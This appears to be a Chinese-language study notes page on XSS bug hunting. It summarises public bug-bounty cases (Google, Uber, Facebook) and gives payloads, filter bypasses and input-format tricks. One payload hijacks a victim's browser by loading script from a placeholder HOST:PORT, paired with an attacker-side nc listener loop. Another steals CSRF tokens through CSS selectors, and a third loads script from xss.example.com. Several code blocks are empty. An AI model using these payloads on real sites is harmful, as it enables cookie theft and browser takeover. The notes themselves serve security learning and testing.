XSS_Notes
主要挖掘方法:Burpsuite and WFuzz
0x00.新思路
文件上传:
- 在文件名插入payload,即
- 在文件内容中添加payload,如果为前端加载即触发
更多bypass变形 =》 《XSS-Cheat-Sheet-2019-Edition-2》
0x01.案例分析
1.[BugBounty] Sleeping stored Google XSS Awakens a $5000 Bounty by Patrik Fehrenbach
思路(存储型xss):创建项目时,在项目标题处添加payload,添加时会被转义,而执行删除操作时会被执行
payload:
1 | "><img src=x onerror=prompt(1);> || "><img src = x onerror = javascript: alert (1); > |
2.Uber Bug Bounty: Turning Self-XSS into Good-XSS
思路(CSRF+存储型XSS):地址栏处插入存储型XSS,搭配CSRF将Self-XSS转换为可以获取其他用户cookie的XSS,将危害扩大化
由于用户是先访问partner.uber.com,通过login.uber.com跳转到授权服务器get到token再跳转回partner.uber.com并携带token,注销时也会先销毁partner.uber.com的session再销毁login.uber.com的session
CSRF目的:让用户退出当前会话,但是保留session,即销毁partner.uber.com的session,保留login.uber.com的session,登陆到我们的账号访问我们自己的xss_payload,再跳回用户的界面使我们的payload继续执行,从而获取到敏感信息
payload:
1 | <!-- 设置内容安全策略以拦截对login.uber.com的请求,使得目标维护其会话 --> |
iframe标签内的内容
1 | <!-- 同上,设置内容安全策略以拦截对login.uber.com的请求,使得目标维护其会话 --> |
3.Three Stored XSS in Facebook
① 在Facebook聊天中存储XSS
用户启动有预览的新消息时,帖子上方会有预览的GUI,而显示该链接的参数为:
1 | attachment[params][title],attachment[params][urlInfo][final] |
而其未对此做验证,即(http or https),so可以改为
1 | attachment[params][title],attachment[params][urlInfo][final]=<a href="javascript:alert(document.domain)"> PoC Click Me </a> |
当用户点击恶意链接时,触发XSS_Payload
② Facebook存储XSS
在记录攻击者去过的地方功能,新建一个位置,在地址处插入XSS_Payload,当用户想要查看时,触发
③ Facebook Messenger中存储的XSS(Windows)
用户注册的地方已做xss校验,创建一个新页面,将name改为 <img src =“a.jpg” onerror = javascript:alert(1) >,然后从该页面向受害者发送消息,每次受害者登录Facebook Messenger时,都会在其帐户上运行存储的XSS Payload
4. Persistent XSS on myworld.ebay.com
5. Complicated, Best Report of Google XSS
6. Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com
7. Yahoo Mail stored XSS
0x02.Bypass
1 | xmp |
0x03.骚思路
1.在输入限制中的xss
测试靶场:https://brutelogic.com.br/tests/input-formats.php
😀 简单的依赖邮件格式:
1 |
😀 页面跳转处,校验格式 protocol:// reference
1 | https://brutelogic.com.br/tests/input-formats.php?url1=javascript://%250Aalert(1) |
😀 页面跳转处(带查询)
1 |
😀 密钥
1 | https://brutelogic.com.br/tests/input-formats.php?key=12345678910<svg/onload=alert(1)> |
2.使用XSS控制浏览器
https://brutelogic.com.br/blog/using-xss-to-control-a-browser/
Payload:
1 | <svg onload=setInterval(function(){d = document; z = d.createElement("script"); z.src ="//HOST:PORT"; d.body.appendChild(z)},0)> |
attacker
1 | $ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done |
3.CSS版XSS
1 | input [ name = csrf ] [ value ^ = cb ] { //获取以cb开头的csrf_token |
4. jQuary
1 | $.getScript`//xss.example.com/xss.js` |
5. 设置定时
1 | setTimeout`alert\x28document.domain\x29` |